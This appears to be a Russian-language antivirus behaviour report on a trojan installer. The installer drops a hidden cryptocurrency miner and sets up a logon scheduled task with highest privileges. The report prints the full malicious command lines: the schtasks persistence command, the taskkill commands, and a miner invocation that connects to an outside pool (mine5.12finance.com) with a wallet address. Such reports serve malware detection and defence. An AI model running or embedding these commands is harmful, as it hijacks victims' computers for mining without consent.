Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\lacies
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /f /im "WebService.exe"
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Private-Public.exe"
- '%WINDIR%\syswow64\taskkill.exe' /f /im "securedisk.exe"
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\is-6ck77.tmp\<Имя файла>.tmp
- %TEMP%\is-hm6q4.tmp\_isetup\_setup64.tmp
- %TEMP%\is-tmudq.tmp\<Имя файла>.tmp
- %TEMP%\is-qt2dh.tmp\_isetup\_setup64.tmp
- %ProgramFiles%\lacie private public\is-drgjc.tmp
- C:\disk\is-r45nr.tmp
- C:\disk\is-fguie.tmp
- C:\windat\is-74eci.tmp
- %ProgramFiles%\lacie private public\unins000.dat
Удаляет следующие файлы
- %TEMP%\is-hm6q4.tmp\_isetup\_setup64.tmp
- %TEMP%\is-6ck77.tmp\<Имя файла>.tmp
- %TEMP%\is-qt2dh.tmp\_isetup\_setup64.tmp
- %TEMP%\is-tmudq.tmp\<Имя файла>.tmp
Перемещает следующие файлы
- %ProgramFiles%\lacie private public\is-drgjc.tmp в %ProgramFiles%\lacie private public\unins000.exe
- C:\disk\is-r45nr.tmp в C:\disk\webservice.exe
- C:\disk\is-fguie.tmp в C:\disk\securedisk.exe
- C:\windat\is-74eci.tmp в C:\windat\syslog.bat
Сетевая активность
UDP
- DNS ASK mi###.12finance.com
- DNS ASK mi#####i.12finance.com
- DNS ASK vp##op.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\is-6ck77.tmp\<Имя файла>.tmp' /SL5="$5024E,7921045,148480,<Полный путь к файлу>"
- '%TEMP%\is-tmudq.tmp\<Имя файла>.tmp' /SL5="$D011E,7921045,148480,<Полный путь к файлу>" /VERYSILENT
- 'C:\disk\webservice.exe' william_aiguo_zlxtqbd
- 'C:\disk\securedisk.exe' -o mine5.12finance.com:5555 -u 42HoNKKRQRBfZcR3C4ydFC3e25n5KrerUDnLDbcmDhdw25KoLiiJ9GfQ2K76PxMpuY8W1U46BBbRnbkfD959kDx25uTo6fo -p x -k -t 3 --donate-level=1
Перезапускает анализируемый образец
Запускает на исполнение
- '%ProgramFiles(x86)%\internet explorer\iexplore.exe' https://www.vpntop.com/landing/trackingwilliam_chann5cn2103227.php?affiliate=william_aiguo_dhlsc_64
- '%WINDIR%\syswow64\schtasks.exe' /create /tn LaCieS /tr "C:\Disk\WebService.exe" /sc ONLOGON /delay 0000:10 /RL HIGHEST (со скрытым окном)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "WebService.exe" (со скрытым окном)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "Private-Public.exe" (со скрытым окном)
- '%WINDIR%\syswow64\taskkill.exe' /f /im "securedisk.exe" (со скрытым окном)
- 'C:\disk\securedisk.exe' -o mine5.12finance.com:5555 -u 42HoNKKRQRBfZcR3C4ydFC3e25n5KrerUDnLDbcmDhdw25KoLiiJ9GfQ2K76PxMpuY8W1U46BBbRnbkfD959kDx25uTo6fo -p x -k -t 3 --donate-level=1 (со скрытым окном)
